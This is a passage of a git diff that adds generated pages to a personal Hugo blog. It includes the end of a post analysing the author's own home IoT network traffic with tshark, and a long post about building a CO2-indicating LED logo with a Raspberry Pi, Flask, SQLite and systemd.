    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/wifi/page/1/index.html b/public-clearnet/tags/wifi/page/1/index.html new file mode 100644 index 0000000..012fb63 --- /dev/null +++ b/public-clearnet/tags/wifi/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/wifi/ + \ No newline at end of file diff --git a/public-clearnet/tags/ws2812/index.html b/public-clearnet/tags/ws2812/index.html new file mode 100644 index 0000000..cb66295 --- /dev/null +++ b/public-clearnet/tags/ws2812/index.html @@ -0,0 +1,13 @@ +Ws2812 | AlipourIm journeys +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/ws2812/index.xml b/public-clearnet/tags/ws2812/index.xml new file mode 100644 index 0000000..381411c --- /dev/null +++ b/public-clearnet/tags/ws2812/index.xml @@ -0,0 +1,400 @@ +Ws2812 on AlipourIm journeyshttps://blog.alipour.eu/tags/ws2812/Recent content in Ws2812 on AlipourIm journeysHugo -- 0.146.0enFri, 17 Oct 2025 00:00:00 +0000INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttps://blog.alipour.eu/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
